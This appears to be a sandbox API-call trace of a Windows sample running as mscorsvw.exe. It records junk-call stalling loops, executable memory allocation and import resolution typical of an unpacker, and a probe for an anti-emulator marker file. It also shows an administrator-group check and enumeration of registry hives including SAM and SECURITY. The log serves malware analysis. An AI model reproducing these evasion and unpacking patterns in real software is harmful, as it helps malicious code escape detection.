IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.052] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.052] IsCharLowerA (ch=19) returned 0 [0037.052] CountClipboardFormats () returned 0 [0037.052] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.052] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.052] IsCharLowerA (ch=20) returned 0 [0037.052] CountClipboardFormats () returned 0 [0037.052] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.053] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.053] IsCharLowerA (ch=21) returned 0 [0037.053] CountClipboardFormats () returned 0 [0037.053] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.053] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.053] IsCharLowerA (ch=22) returned 0 [0037.053] CountClipboardFormats () returned 0 [0037.053] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.053] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.053] IsCharLowerA (ch=23) returned 0 [0037.053] CountClipboardFormats () returned 0 [0037.053] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.053] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.053] IsCharLowerA (ch=24) returned 0 [0037.053] CountClipboardFormats () returned 0 [0037.053] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.053] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.053] IsCharLowerA (ch=25) returned 0 [0037.053] CountClipboardFormats () returned 0 [0037.053] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.053] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.053] IsCharLowerA (ch=26) returned 0 [0037.053] CountClipboardFormats () returned 0 [0037.053] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.053] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.053] IsCharLowerA (ch=27) returned 0 [0037.053] CountClipboardFormats () returned 0 [0037.053] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.053] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.053] IsCharLowerA (ch=28) returned 0 [0037.053] CountClipboardFormats () returned 0 [0037.053] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.053] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.053] IsCharLowerA (ch=29) returned 0 [0037.053] CountClipboardFormats () returned 0 [0037.053] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.054] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.054] IsCharLowerA (ch=30) returned 0 [0037.054] CountClipboardFormats () returned 0 [0037.054] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.054] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.054] IsCharLowerA (ch=31) returned 0 [0037.054] CountClipboardFormats () returned 0 [0037.054] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.054] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.054] IsCharLowerA (ch=32) returned 0 [0037.054] CountClipboardFormats () returned 0 [0037.054] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.054] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.054] IsCharLowerA (ch=1) returned 0 [0037.054] CountClipboardFormats () returned 0 [0037.054] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.054] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.054] IsCharLowerA (ch=2) returned 0 [0037.054] CountClipboardFormats () returned 0 [0037.054] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.054] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.054] IsCharLowerA (ch=3) returned 0 [0037.054] CountClipboardFormats () returned 0 [0037.054] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.054] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.054] IsCharLowerA (ch=4) returned 0 [0037.054] CountClipboardFormats () returned 0 [0037.054] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.054] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.054] IsCharLowerA (ch=5) returned 0 [0037.054] CountClipboardFormats () returned 0 [0037.054] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.055] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.055] IsCharLowerA (ch=6) returned 0 [0037.055] CountClipboardFormats () returned 0 [0037.055] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.055] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.055] IsCharLowerA (ch=7) returned 0 [0037.055] CountClipboardFormats () returned 0 [0037.055] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.055] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.055] IsCharLowerA (ch=8) returned 0 [0037.055] CountClipboardFormats () returned 0 [0037.055] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.055] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.055] IsCharLowerA (ch=9) returned 0 [0037.055] CountClipboardFormats () returned 0 [0037.055] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.055] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.055] IsCharLowerA (ch=10) returned 0 [0037.055] CountClipboardFormats () returned 0 [0037.055] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.055] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.055] IsCharLowerA (ch=11) returned 0 [0037.055] CountClipboardFormats () returned 0 [0037.055] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.056] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.056] IsCharLowerA (ch=12) returned 0 [0037.056] CountClipboardFormats () returned 0 [0037.056] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.056] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.056] IsCharLowerA (ch=13) returned 0 [0037.056] CountClipboardFormats () returned 0 [0037.056] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.056] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.056] IsCharLowerA (ch=14) returned 0 [0037.056] CountClipboardFormats () returned 0 [0037.056] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.056] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.056] IsCharLowerA (ch=15) returned 0 [0037.056] CountClipboardFormats () returned 0 [0037.056] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.056] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.056] IsCharLowerA (ch=16) returned 0 [0037.056] CountClipboardFormats () returned 0 [0037.056] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.056] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.056] IsCharLowerA (ch=17) returned 0 [0037.056] CountClipboardFormats () returned 0 [0037.056] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.056] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.056] IsCharLowerA (ch=18) returned 0 [0037.056] CountClipboardFormats () returned 0 [0037.056] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.056] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.056] IsCharLowerA (ch=19) returned 0 [0037.056] CountClipboardFormats () returned 0 [0037.056] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.056] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.056] IsCharLowerA (ch=20) returned 0 [0037.056] CountClipboardFormats () returned 0 [0037.056] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.057] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.057] IsCharLowerA (ch=21) returned 0 [0037.057] CountClipboardFormats () returned 0 [0037.057] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.057] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.057] IsCharLowerA (ch=22) returned 0 [0037.057] CountClipboardFormats () returned 0 [0037.057] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.057] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.057] IsCharLowerA (ch=23) returned 0 [0037.057] CountClipboardFormats () returned 0 [0037.057] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.057] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.057] IsCharLowerA (ch=24) returned 0 [0037.057] CountClipboardFormats () returned 0 [0037.058] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fb56, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe")) returned 0x3a [0037.058] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18ff08 | out: pcyOut=0x18ff08) returned 0x0 [0037.058] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fb56, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe")) returned 0x3a [0037.058] Sleep (dwMilliseconds=0x94) [0037.697] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb30 | out: ProcedureAddress=0x18fb30*=0x76e21856) returned 0x0 [0037.697] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x1b0000 [0037.702] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb58 | out: ProcedureAddress=0x18fb58*=0x76e21856) returned 0x0 [0037.702] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x1d0000 [0037.703] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e249d7) returned 0x0 [0037.703] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e21222) returned 0x0 [0037.703] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e21856) returned 0x0 [0037.703] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e2435f) returned 0x0 [0037.703] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0037.703] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0037.704] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0037.704] VirtualProtect (in: lpAddress=0x400000, dwSize=0x27000, flNewProtect=0x40, lpflOldProtect=0x18fc08 | out: lpflOldProtect=0x18fc08*=0x2) returned 1 [0037.727] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x270000 [0037.730] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0037.730] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0037.730] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0037.730] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0038.124] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0038.134] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x8d0000 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x104) returned 0x8d07d0 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d08e0 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d0968 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d09f0 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d0a78 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d0b00 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d0b88 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d0c10 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d0c98 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d0d20 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d0da8 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d0e30 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d0eb8 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d0f40 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d0fc8 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d1050 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x80) returned 0x8d10d8 [0038.141] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x400) returned 0x8d1160 [0038.141] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x940000 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9407d0 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x940858 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9408e0 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x184) returned 0x940968 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940af8 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940b40 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940b88 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940bd0 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940c18 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940c60 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940ca8 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940cf0 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940d38 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940d80 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940dc8 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940e10 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940e58 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940ea0 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940ee8 [0038.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940f30 [0038.142] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe")) returned 0x3a [0038.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x940f78 [0038.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2c) returned 0x94b828 [0038.158] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0038.158] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0038.158] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0x90) returned 1 [0038.158] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0038.158] GetLastError () returned 0x7a [0038.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94b860 [0038.158] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x2, TokenInformation=0x94b860, TokenInformationLength=0x58, ReturnLength=0x18fbec | out: TokenInformation=0x94b860, ReturnLength=0x18fbec) returned 1 [0038.158] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x2d14f8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0038.158] EqualSid (pSid1=0x2d14f8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x94b884*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0038.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b860) returned 1 [0038.158] NtClose (Handle=0x90) returned 0x0 [0038.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94b860 [0038.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94b8a8 [0038.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x280) returned 0x94b930 [0038.160] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0038.165] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x94b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0038.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bc58 [0038.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x94bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0038.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bca0 [0038.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bc58) returned 1 [0038.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bca0) returned 1 [0038.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.166] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x94b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0038.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bca0 [0038.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x94bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0038.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bc58 [0038.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bca0) returned 1 [0038.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bc58) returned 1 [0038.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.166] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x94b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0038.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bc58 [0038.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x94bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0038.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bca0 [0038.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bc58) returned 1 [0038.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bca0) returned 1 [0038.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.166] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x94b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0038.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bca0 [0038.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x94bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0038.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bc58 [0038.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bca0) returned 1 [0038.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bc58) returned 1 [0038.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.166] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x94b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0038.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bc58 [0038.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x94bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bca0 [0038.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bc58) returned 1 [0038.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bca0) returned 1 [0038.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.167] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x184) returned 0x94d040 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bca0 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bc58 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bce8 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bd30 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bd78 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bdc0 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94be08 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94be50 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94be98 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bee0 